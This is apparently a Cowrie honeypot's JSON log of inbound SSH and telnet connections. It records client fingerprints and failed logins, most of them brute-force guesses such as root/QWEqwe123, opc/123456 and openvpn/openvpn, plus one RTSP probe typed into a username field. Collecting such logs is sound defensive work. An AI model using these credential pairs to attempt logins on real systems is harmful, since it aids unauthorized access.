{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 2229","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 2229] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:19.051591Z","src_ip":"34.76.145.205","session":"824f7b7a907d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":36452,"dst_ip":"159.203.135.109","dst_port":22,"session":"f09bf5871d3e","protocol":"ssh","message":"New connection: 45.153.34.114:36452 (159.203.135.109:22) [session: f09bf5871d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:20.541044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:20.546443Z","src_ip":"45.153.34.114","session":"f09bf5871d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:20.666844Z","src_ip":"45.153.34.114","session":"f09bf5871d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:20.936765Z","src_ip":"45.153.34.114","session":"f09bf5871d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:22.026951Z","src_ip":"45.153.34.114","session":"f09bf5871d3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":55728,"dst_ip":"159.203.135.109","dst_port":22,"session":"faf71369dff2","protocol":"ssh","message":"New connection: 103.75.199.4:55728 (159.203.135.109:22) [session: faf71369dff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:28.425959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:28.430178Z","src_ip":"103.75.199.4","session":"faf71369dff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:28.520694Z","src_ip":"103.75.199.4","session":"faf71369dff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":36462,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b83a5cd8910","protocol":"ssh","message":"New connection: 45.153.34.114:36462 (159.203.135.109:22) [session: 5b83a5cd8910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:28.602353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:28.606847Z","src_ip":"45.153.34.114","session":"5b83a5cd8910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:28.689053Z","src_ip":"45.153.34.114","session":"5b83a5cd8910","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:28.792974Z","src_ip":"103.75.199.4","session":"faf71369dff2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zarghami","password":"123456","message":"login attempt [zarghami/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:29.070621Z","src_ip":"45.153.34.114","session":"5b83a5cd8910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:29.886737Z","src_ip":"103.75.199.4","session":"faf71369dff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:30.156401Z","src_ip":"45.153.34.114","session":"5b83a5cd8910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48996,"dst_ip":"159.203.135.109","dst_port":22,"session":"f09ff0dfe4de","protocol":"ssh","message":"New connection: 45.153.34.114:48996 (159.203.135.109:22) [session: f09ff0dfe4de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:36.267740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:36.271865Z","src_ip":"45.153.34.114","session":"f09ff0dfe4de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:36.357479Z","src_ip":"45.153.34.114","session":"f09ff0dfe4de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:36.634665Z","src_ip":"45.153.34.114","session":"f09ff0dfe4de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.681330919265747,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:36.728180Z","src_ip":"34.76.145.205","session":"824f7b7a907d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.840720891952515,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:36.732935Z","src_ip":"34.76.145.205","session":"ce7fff6896c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.15801692008972,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:36.738536Z","src_ip":"34.76.145.205","session":"a7244aab5954","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.318657875061035,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:36.741257Z","src_ip":"34.76.145.205","session":"f51ec9cf83ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.47568941116333,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:36.744139Z","src_ip":"34.76.145.205","session":"2aebf53dc390","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.632285594940186,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:36.747152Z","src_ip":"34.76.145.205","session":"f89a084e2fa5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.7894070148468,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:36.750115Z","src_ip":"34.76.145.205","session":"48702c4b58da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.95097589492798,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:36.753204Z","src_ip":"34.76.145.205","session":"2ce8d7f7637e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.264010667800903,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:36.756205Z","src_ip":"34.76.145.205","session":"62da32c84e5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.112386465072632,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:36.759345Z","src_ip":"34.76.145.205","session":"367eb4c00757","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.424090147018433,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:36.762443Z","src_ip":"34.76.145.205","session":"b4e37e354d1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.91405463218689,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:36.771749Z","src_ip":"34.76.145.205","session":"fed5233584f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.590854167938232,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:36.774941Z","src_ip":"34.76.145.205","session":"bfc9b7b36833","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.748291730880737,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:36.778219Z","src_ip":"34.76.145.205","session":"f1e783a873d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:37.755818Z","src_ip":"45.153.34.114","session":"f09ff0dfe4de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38870,"dst_ip":"159.203.135.109","dst_port":22,"session":"f941381a8ab1","protocol":"ssh","message":"New connection: 45.153.34.114:38870 (159.203.135.109:22) [session: f941381a8ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:43.730352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:43.734998Z","src_ip":"45.153.34.114","session":"f941381a8ab1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:43.820708Z","src_ip":"45.153.34.114","session":"f941381a8ab1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:44.080720Z","src_ip":"45.153.34.114","session":"f941381a8ab1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:45.165877Z","src_ip":"45.153.34.114","session":"f941381a8ab1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":48586,"dst_ip":"159.203.135.109","dst_port":22,"session":"c39ccec00e87","protocol":"ssh","message":"New connection: 103.75.199.4:48586 (159.203.135.109:22) [session: c39ccec00e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:50.312015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:50.315985Z","src_ip":"103.75.199.4","session":"c39ccec00e87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:50.406432Z","src_ip":"103.75.199.4","session":"c39ccec00e87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:50.677588Z","src_ip":"103.75.199.4","session":"c39ccec00e87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:51.771178Z","src_ip":"103.75.199.4","session":"c39ccec00e87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34830,"dst_ip":"159.203.135.109","dst_port":22,"session":"c29efe53e405","protocol":"ssh","message":"New connection: 45.153.34.114:34830 (159.203.135.109:22) [session: c29efe53e405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:51.849692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:51.853837Z","src_ip":"45.153.34.114","session":"c29efe53e405","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:51.937923Z","src_ip":"45.153.34.114","session":"c29efe53e405","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:52.197253Z","src_ip":"45.153.34.114","session":"c29efe53e405","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:53.282809Z","src_ip":"45.153.34.114","session":"c29efe53e405","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49070,"dst_ip":"159.203.135.109","dst_port":22,"session":"85a2850d9ad0","protocol":"ssh","message":"New connection: 45.153.34.114:49070 (159.203.135.109:22) [session: 85a2850d9ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:59.853559Z"}
